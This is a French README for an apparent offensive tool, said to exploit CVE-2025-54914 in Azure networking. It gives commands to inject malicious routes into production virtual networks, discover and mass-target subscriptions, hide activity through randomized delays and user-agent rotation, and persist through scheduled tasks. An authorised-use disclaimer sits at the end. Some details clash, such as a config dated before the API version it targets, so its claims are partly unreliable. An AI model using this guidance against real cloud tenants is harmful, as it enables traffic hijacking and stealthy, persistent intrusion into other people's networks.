CVE-2025-54914 Azure Route Exploit
Aperçu
Ceci est une implémentation améliorée de l'exploit CVE-2025-54914 Azure Networking Route. Cette version conserve les fonctionnalités principales de la CVE tout en ajoutant des fonctionnalités supplémentaires, notamment la persistance, l'évasion, l'analyse multi-cibles et la gestion des erreurs.
Fonctionnalités
Fonctionnalités principales de la CVE
- Création de route : Crée des routes malveillantes dans les réseaux virtuels Azure
- Suppression de route : Supprime les routes créées pour le nettoyage
- Compatibilité API : Fonctionne avec l'API de gestion Azure 2025-09-01
- Authentification : Prend en charge l'authentification via Azure CLI et token manuel
Fonctionnalités supplémentaires
- Techniques d'évasion : Délais aléatoires, rotation des user-agents, obscurcissement des requêtes
- Persistance : Création de tâches planifiées, mode de surveillance continue
- Analyse multi-cibles : Analyse et exploitation concurrentes de plusieurs cibles
- Rapports complets : Rapports détaillés avec analyse de succès/échec
- Gestion des erreurs : Gestion gracieuse des erreurs et récupération
- Gestion de la configuration : Configuration des cibles basée sur JSON
- Découverte de cibles : Découverte automatique des ressources vulnérables
- Évaluation des risques : Analyse des vulnérabilités et notation des risques
Installation
Prérequis
# Install Python dependencies
pip install requests
# Install Azure CLI (for authentication)
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
Configuration
# Make scripts executable
chmod +x exploit.py
chmod +x exploit_utils.py
# Authenticate with Azure
az login
Utilisation
Utilisation de base
Exploitation d'une seule cible
# Create route on single target
python exploit.py \
--subscription-id "12345678-1234-1234-1234-123456789012" \
--resource-group "production-rg" \
--vnet-name "prod-vnet" \
--subnet-name "prod-subnet" \
--address-prefix "10.0.1.0/24" \
--next-hop-ip "10.0.2.5"
# Delete route
python exploit.py \
--subscription-id "12345678-1234-1234-1234-123456789012" \
--resource-group "production-rg" \
--vnet-name "prod-vnet" \
--subnet-name "prod-subnet" \
--route-name "exploit-route-1" \
--operation delete
Exploitation multi-cibles
# Create configuration file
python exploit_utils.py discover --output targets.json
# Exploit all targets
python exploit.py --targets-file targets.json --operation create
Mode analyse
# Scan targets without exploitation
python exploit.py --targets-file targets.json --scan-only
Mode persistance
# Enable persistence with 30-minute intervals
python exploit.py --targets-file targets.json --persistence-mode --interval 30
Utilisation avancée
Évasion et discrétion
# Custom delay ranges for evasion
python exploit.py \
--targets-file targets.json \
--delay-min 1.0 \
--delay-max 5.0 \
--max-workers 5
Mode test à blanc
# Test without actual exploitation
python exploit.py --targets-file targets.json --dry-run
Journalisation détaillée
# Enable debug logging
python exploit.py \
--targets-file targets.json \
--log-level DEBUG \
--log-file exploit.log
Configuration
{
"targets": [
{
"subscription_id": "12345678-1234-1234-1234-123456789012",
"resource_group": "production-rg",
"vnet_name": "prod-vnet",
"subnet_name": "prod-subnet",
"route_name": "exploit-route-1",
"address_prefix": "10.0.1.0/24",
"next_hop_type": "VirtualAppliance",
"next_hop_ip": "10.0.2.5",
"api_version": "2025-09-01",
"priority": 1
}
],
"metadata": {
"description": "Target configuration for CVE-2025-54914",
"created": "2025-01-09",
"version": "1.0"
}
}
Variables d'environnement
# Azure access token (alternative to Azure CLI)
export AZURE_ACCESS_TOKEN="your_token_here"
# Log level
export LOG_LEVEL="INFO"
Scripts utilitaires
Découverte de cibles
# Discover all accessible targets
python exploit_utils.py discover --output discovered_targets.json
# Discover specific subscriptions
python exploit_utils.py discover \
--subscription-ids "sub1" "sub2" \
--output targets.json \
--report discovery_report.txt
Génération de configuration
# Generate exploit configuration from discovered targets
python exploit_utils.py config \
--input discovered_targets.json \
--output exploit_config.json \
--address-prefix "10.0.1.0/24" \
--next-hop-ip "10.0.2.5"
Analyse des vulnérabilités
# Analyze targets for risk assessment
python exploit_utils.py analyze \
--input targets.json \
--output vulnerability_report.txt
Fonctionnalités de sécurité
Techniques d'évasion
- Temporisation des requêtes : Délais aléatoires entre les requêtes
- Rotation des user-agents : Plusieurs user-agents de navigateurs
- Obscurcissement des en-têtes : En-têtes HTTP réalistes
- Validation SSL : Validation correcte des certificats
Mécanismes de persistance
- Tâches planifiées : Création de tâches planifiées Windows
- Mode continu : Persistance longue durée
- Gestion des sessions : Préservation de l'état entre les exécutions
- Persistance de la configuration : Paramètres enregistrés sur le disque
Gestion des erreurs
- Dégradation gracieuse : Continue en cas d'échecs individuels
- Protection contre les timeouts : Empêche les requêtes bloquantes
- Gestion des signaux : Arrêt propre en cas d'interruption
- Nettoyage des ressources : Nettoyage automatique à la sortie
Rapports
Rapports d'exploitation
- Résultats d'opération : Succès/échec pour chaque cible
- Informations temporelles : Horodatages d'exécution
- Détails des erreurs : Messages d'erreur détaillés
- Statistiques récapitulatives : Taux de succès globaux
Rapports de découverte
- Inventaire des cibles : Liste complète des ressources découvertes
- Répartition par abonnement : Cibles regroupées par abonnement
- Détails des ressources : Informations sur VNet, sous-réseau et emplacement
Analyse des vulnérabilités
- Évaluation des risques : Catégorisation des risques élevé/moyen/faible
- Indicateurs de production : Identification des environnements de production
- Analyse des tags : Notation des risques basée sur les tags de ressources
Bonnes pratiques
Sécurité opérationnelle
- Utiliser le mode test à blanc : Testez toujours avec
--dry-run d'abord
- Limiter la portée : Commencez par les environnements non-production
- Surveiller les journaux : Vérifiez les journaux pour tout comportement inattendu
- Nettoyer : Supprimez les routes créées après les tests
- Limites de workers : Ajustez
--max-workers en fonction de la capacité du système
- Réglage des délais : Équilibrez discrétion et vitesse avec les paramètres de délai
- Traitement par lots : Utilisez des fichiers de cibles pour les opérations à grande échelle
- Surveillance des ressources : Surveillez les ressources système pendant l'exécution
Récupération après erreur
- Vérifier les journaux : Consultez les messages d'erreur pour le dépannage
- Vérifier les autorisations : Assurez-vous des autorisations Azure appropriées
- Connectivité réseau : Vérifiez la connectivité Internet
- Validité du token : Vérifiez l'état d'authentification Azure CLI
Dépannage
Problèmes courants
Erreurs d'authentification
# Re-authenticate with Azure
az login
# Check current account
az account show
# List accessible subscriptions
az account list
Erreurs de permissions
# Check required permissions
az role assignment list --assignee $(az account show --query user.name -o tsv)
Erreurs réseau
# Test connectivity
curl -I https://management.azure.com
# Check proxy settings
echo $HTTP_PROXY
echo $HTTPS_PROXY
Mode débogage
# Enable detailed logging
python exploit.py --log-level DEBUG --log-file debug.log
# Check log file
tail -f debug.log
Considérations légales et éthiques
⚠️ IMPORTANT : Cet outil est destiné uniquement aux tests de sécurité autorisés.
- Autorisation requise : Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de tester
- Conformité légale : Assurez-vous de respecter les lois et réglementations locales
- Divulgation responsable : Signalez les vulnérabilités via les canaux appropriés
- Usage éducatif : Cet outil est destiné à des fins éducatives et de recherche
Licence
Ce projet est sous licence pour une utilisation de recherche et éducative uniquement. Toute utilisation commerciale nécessite une autorisation explicite.
Contribution
- Forkez le dépôt
- Créez une branche de fonctionnalité
- Apportez vos modifications
- Ajoutez des tests si applicable
- Soumettez une pull request
Support
Pour les problèmes et questions :
- Consultez la section de dépannage
- Vérifiez les journaux pour les détails d'erreur
- Créez un issue avec des informations détaillées
- Incluez la configuration pertinente et les messages d'erreur